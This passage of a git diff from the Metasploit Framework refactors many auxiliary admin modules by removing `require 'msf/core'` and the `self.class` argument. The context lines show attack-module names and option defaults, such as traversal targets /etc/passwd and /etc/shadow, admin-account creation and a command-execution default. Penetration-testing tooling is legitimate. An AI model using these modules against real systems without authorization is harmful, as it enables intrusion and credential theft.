MetasploitModule < Msf::Auxiliary OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) - ], self.class) + ]) end # If the user configured LANIP, use it. Otherwise, use RHOST. diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb index 520a9b8c79..867c75366d 100644 --- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 6c3f67dcd8..982b222de8 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index a7c393952d..254ab59144 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb index 032c4d5db7..aa244d333b 100644 --- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 1fbc3bcf01..016c8945c1 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]), OptString.new('PATH', [ true, 'The file to read or delete' ]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb index 43936f647b..3513bcaf30 100644 --- a/modules/auxiliary/admin/http/netflow_file_download.rb +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "The base path to NetFlow Analyzer", '/netflow' ]), OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb index 0d4f97095a..6194d3bf33 100644 --- a/modules/auxiliary/admin/http/netgear_auth_download.rb +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -40,12 +38,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'The username to login as', 'admin']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), - ], self.class) + ]) register_advanced_options( [ OptInt.new('DEPTH', [false, 'Max depth to traverse', 15]) - ], self.class) + ]) end def authenticate diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index bcea4814be..d1b384da67 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb index 224494489a..92114b3eaa 100644 --- a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb +++ b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'time' class MetasploitModule < Msf::Auxiliary @@ -41,12 +40,12 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) - ], self.class) + ]) end def get_current_time diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 6e20542aee..15f7ab5661 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nexpose' class MetasploitModule < Msf::Auxiliary @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, "The Nexpose user", nil]), OptString.new('PASSWORD', [true, "The Nexpose password", nil]), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]) - ], self.class) + ]) end def report_cred(opts) diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb index 166c1ddaad..7759927bb4 100644 --- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb +++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('RPATH', [ true, "The remote file path to delete", "c:\\test.txt" ]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb index f58394dadb..66e6fb2d6b 100644 --- a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb +++ b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, "Application path", '/']), OptString.new('USERNAME', [false, 'The username to login as', 'admin']), OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index f8d6be81be..cf1bbf80b7 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'net/dns' require 'rexml/document' @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, "The Openbravo password", "openbravo"]), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 52911870ca..5773a801d5 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/element' class MetasploitModule < Msf::Auxiliary @@ -56,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) - ], self.class) + ]) end def generate_token(account) diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 01194f368d..cec3459b82 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new("TARGETURI", [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']), OptString.new("USERNAME", [true, 'The username for your new account']), OptString.new("PASSWORD", [true, 'The password for your new account']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb index 8162fb9b44..176a8f2b30 100644 --- a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']), OptInt.new('DEPTH', [true, 'Traversal depth', 2]) - ], self.class) + ]) end def my_basename(filename) diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index 78a9a2cee8..beb34a886f 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb index 00ebbc8800..6d797086de 100644 --- a/modules/auxiliary/admin/http/sysaid_file_download.rb +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('RPORT', [true, 'The target port', 8080]), OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']), - ], self.class) + ]) end def get_traversal_path diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index 7d91ffa4d8..25ff0e7196 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -38,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPort.new('RPORT', [true, 'The target port', 8080]), OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/telpho10_credential_dump.rb b/modules/auxiliary/admin/http/telpho10_credential_dump.rb index 9183b7b58f..a9c07bc8cd 100644 --- a/modules/auxiliary/admin/http/telpho10_credential_dump.rb +++ b/modules/auxiliary/admin/http/telpho10_credential_dump.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rubygems/package' class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80) - ], self.class) + ]) end # Used for unpacking backup files diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index 015033e365..c65dd34340 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080 OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']), OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb index 6b799c8f7e..cd02c2cfad 100644 --- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb +++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]), - ], self.class) + ]) end def extract_words(wordfile) diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb index 6655a2068b..5cb571aa41 100644 --- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb +++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SSL', [true, 'Use SSL', true]), OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), - ], self.class) + ]) end def extract_words(wordfile) diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 89ab23faa7..da8ecbf854 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('URI', [true, "TYPO3 Path", "/"]), OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']), OptString.new('ENC_KEY', [false, "Encryption key if known", '']), - ], self.class) + ]) end def enc_key(seed) diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb index 90f8a5105c..d75380f344 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('URI', [true, "Typo3 Path", "/"]), OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']), OptString.new('LFILE',[true, "The local filename to store the data", "localconf.php"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index 1958ef82f4..048cebe1e5 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'thread' class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('URI', [true, "TYPO3 Path", "/"]), OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']), OptInt.new('MAX_TRIES', [true, "Maximum tries", 10000]), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index 596d5a0806..c8d81b0e8e 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('URI', [true, "TYPO3 Path", "/"]), OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']), OptString.new('ENC_KEY', [false, "Encryption key if known", '']), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 93b7c1351b..e6144040d5 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) - ], self.class) + ]) end def user diff --git a/modules/auxiliary/admin/http/webnms_cred_disclosure.rb b/modules/auxiliary/admin/http/webnms_cred_disclosure.rb index 35dda0c772..5f35d6945a 100644 --- a/modules/auxiliary/admin/http/webnms_cred_disclosure.rb +++ b/modules/auxiliary/admin/http/webnms_cred_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/webnms_file_download.rb b/modules/auxiliary/admin/http/webnms_file_download.rb index 6abfb57f42..e64d244069 100644 --- a/modules/auxiliary/admin/http/webnms_file_download.rb +++ b/modules/auxiliary/admin/http/webnms_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb index 3897eb9730..7b83bc15eb 100644 --- a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb b/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb index b50c493db3..5b1833374a 100644 --- a/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb +++ b/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb index 24e7095daa..290376211e 100644 --- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index d920351496..1cd770ce70 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index a9ed6fac2d..8f49a63c88 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -48,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [ true, 'The Domain User password' ]), OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]), OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb index fb9f275d2f..9b7169f8f1 100644 --- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb +++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(7210), OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index e52ab58061..36e668af8f 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Auxiliary @@ -60,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(32764), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index 276d8fe96d..1b91a24c48 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new("MAC", [true, 'Specify a MAC address', '00:90:27:85:cf:01']), OptString.new("PASSWORD", [false, 'Specify a four or six-byte password']), OptBool.new("IPV6", [false, 'Use IPv6 broadcast', false]) - ], self.class) + ]) deregister_options('RHOST', 'RPORT') end diff --git a/modules/auxiliary/admin/motorola/wr850g_cred.rb b/modules/auxiliary/admin/motorola/wr850g_cred.rb index 2b0f191a33..23e4d79648 100644 --- a/modules/auxiliary/admin/motorola/wr850g_cred.rb +++ b/modules/auxiliary/admin/motorola/wr850g_cred.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/ms/ms08_059_his2006.rb b/modules/auxiliary/admin/ms/ms08_059_his2006.rb index 326a510db4..09080df98b 100644 --- a/modules/auxiliary/admin/ms/ms08_059_his2006.rb +++ b/modules/auxiliary/admin/ms/ms08_059_his2006.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(0), OptString.new('COMMAND', [ true, 'The command to execute', 'cmd.exe']), OptString.new('ARGS', [ true, 'The arguments to the command', '/c echo metasploit > metasploit.txt']) - ], self.class ) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index cd0ff5e1ec..ba89284b66 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index b936a389f2..1cfdf1cc50 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule 